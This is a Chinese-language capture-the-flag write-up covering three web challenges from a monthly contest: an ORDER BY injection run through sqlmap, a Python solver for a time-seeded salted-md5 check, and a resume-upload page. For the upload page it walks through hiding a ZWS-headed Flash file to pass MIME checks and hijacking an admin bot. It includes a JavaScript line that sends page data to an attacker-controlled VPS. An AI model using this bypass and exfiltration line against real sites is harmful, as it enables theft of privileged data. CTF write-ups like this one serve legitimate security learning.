安恒七月月赛web

大概还行,虽然有很多奇奇怪怪的地方

order

order注入,丢sqlmap 直接跑出结果

就这么直接

给了个源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$key = "********";
srand(time());

$a = rand(0,100);
$b = rand(0,100);
$c = rand(0,100);
$d = rand(0,100);
$e = rand(0,100);

$result = ((($a - $b)/$c)+$d) * $e;
$result = md5($key.$result.$key);
show_source(__FILE__);
?>

然后一个提交页面,然后我还以为是什么绕过,然后还猜弱类型,搞了半天做不出来,看了wp发现也是神奇好吧,它是用时间种子生成随机数然后加盐md5,随机提交一个md5的值就可以在源码里获得加密结果,然后再把结果提交就好了,打扰了,确实没看懂这个出题思路好吧.. 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
import re
from bs4 import BeautifulSoup
url="http://101.71.29.5:10003/flag.php"
data={"answer":"0e342768416822451524974117254469"}
r=requests.post(url,data=data)
soup=BeautifulSoup(r.text,'lxml')
print(soup.p)
md5=re.findall(r"<!--(.*?)-->",str(soup.p))
data=md5[0]
data={"answer":data}
r=requests.post(url,data=data)
print(r.text)

简历来了

开始走错了路,想传shell,但其实传不了,源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
<?php
require_once('init.php');
header("Content-type: text/html; charset=utf-8");
if(isset($_POST['submit'])){
if(!z_validate_captcha()){
die('验证码错误');
}
$email = isset($_POST['email'])?trim($_POST['email']):'';
$url = isset($_POST['url'])?trim($_POST['url']):'';
$file = isset($_FILES['file'])?$_FILES['file']:false;
if($email == false $url == false $file == false){
die('Invalid Input');
}

if(!filter_var($email, FILTER_VALIDATE_EMAIL)){
die('Invalid Email');
}

if(!filter_var($url, FILTER_VALIDATE_URL) (strpos($url, 'http://') !== 0 && strpos($url, 'https://') !== 0)){
die('Invalid URL');
}

if($file['error'] $file['size'] > 1024*1024 !is_uploaded_file($file['tmp_name'])){
die('Invalid File');
}

$ext = getExt($file['name']);

if(!in_array($ext, array('.jpg','.jpeg', '.png', '.docx', '.doc'))){
die('Invalid File Type');
}

$file_checked = false;
if(in_array($ext, array('.jpg','.jpeg', '.png'))){
$finfo = finfo_open(FILEINFO_MIME);
if (!$finfo) {
die("Opening fileinfo database failed");
}
$mime = finfo_file($finfo, $file["tmp_name"]);
finfo_close($finfo);
if($mime == false){
die('Invalid Filename');
}
$arr = explode(';', $mime);
$mime = $arr[0];
if($mime == false !in_array($mime, array('image/gif', 'image/jpeg', 'image/jpg', 'image/png', 'application/octet-stream'))){
die('Invalid Filename');
}else{
$file_checked = true;
}
}elseif(in_array($ext, array('.docx', '.doc'))){
$finfo = finfo_open(FILEINFO_MIME);
if (!$finfo) {
die("Opening fileinfo database failed");
}
$mime = finfo_file($finfo, $file["tmp_name"]);
finfo_close($finfo);
if($mime == false){
die('Invalid Filename');
}
$arr = explode(';', $mime);
$mime = $arr[0];
if($mime == false !in_array($mime, array('application/msword','application/word', 'application/vnd.openxmlformats-officedocument.wordprocessingml.document'))){
die('Invalid Filename');
}else{
$file_checked = true;
}
}

if($file_checked !== true){
die('Invalid File Type');
}

$filename = './upload/'.md5(mt_rand().microtime()).$ext;

move_uploaded_file($file["tmp_name"], $filename);

if(!file_exists($filename)){
echo '上传失败';
}else{
save_resume($email, $url, $filename);
echo "<br/>提交成功:";
echo "<br/>邮箱:".htmlspecialchars($email);
echo "<br/>个人网站:".htmlspecialchars($url);
echo "<br/>简历地址:".htmlspecialchars($filename);
echo "<br/><br/><br/>";
}
}

show_source(__FILE__);

这里其实是个csrf,我也真是鲸了,我确实有测试链接那个地方有没有bot来访问,但是没有!没有!这个题卡了我两天... 好吧,不过其实就算知道这里会有bot来访问我这道题可能也解不出来,因为考到了一个我并不会的点,这里重点记录一下:Flash跨域数据劫持漏洞 这个漏洞讲的大致如下: 当某站点存在上传点且并没有检查文件内容的时候,我们就可以上传一个flash文件,然后后缀使用可以上传的后缀,比如jpg之类的,然后核心部分是object标签在包含flash文件时没有对嵌入的文件后缀进行判断。也就是说,只要文件内容包含了正常的flash文件代码,就能够被object标签成功加载并执行。而ActionScript中又有很多api可以让flash发送网络请求,这就可以将flash传到目标域然后构造恶意代码获取某些页面了,具体看题。 很坑爹的一道题,主要是利用了github上一个CSRF项目:https://github.com/nccgroup/CrossSiteContentHijacking 限制了邮箱、URL格式,文件大小。以及上传的文件类型和MIME类型。无法绕过上传PHP文件或者利用文件包含上传图片马 第一个点:flash的三种文件头:CWS,FWS,ZWS[最新的] 由于ZWS是新兴的文件格式,php暂时不支持,所以php在解析cws和fws格式的时候会解析成application/x-shockwave-flash;但是解析zws的时候会变成application/octet-stream从而绕过MIME限制。 扫目录发现admin目录,需要管理员才能看flag.那么思路就明确了,我们可以先传一个flash文件上去,然后自己在vps上构造一个攻击页面来加载服务器上的flash,然后填到博客栏让bot去访问,bot访问之后触发flash文件从而打到admin下的flag然后返回到我们的服务器. 具体操作 克隆一下前面提到的github的那个项目,然后找到ContentHijacking.swf,将文件头改成ZWS blacsheep 然后传到服务器,记录传的路径,然后ContentHijackingLoader.html里面125行左右加上一段代码new Image的代码

1
new Image().src='http://your_vps/xxx.php'+encodeURIComponent(strData)

blacsheep 然后vps上面打开ContentHijackingLoader.html,填写一下flash的地址和攻击地址,然后生成payload blacsheep 生成之后提交上去就可以在vps收到flag了 这个都是别人写的,环境已经关了,简单记录下 参考链接: https://liuxianglai.github.io/2018/06/26/%E5%AE%89%E6%81%92%E6%9D%AF%E6%9C%88%E8%B5%9BWrite-up/ http://www.freebuf.com/articles/web/35353.html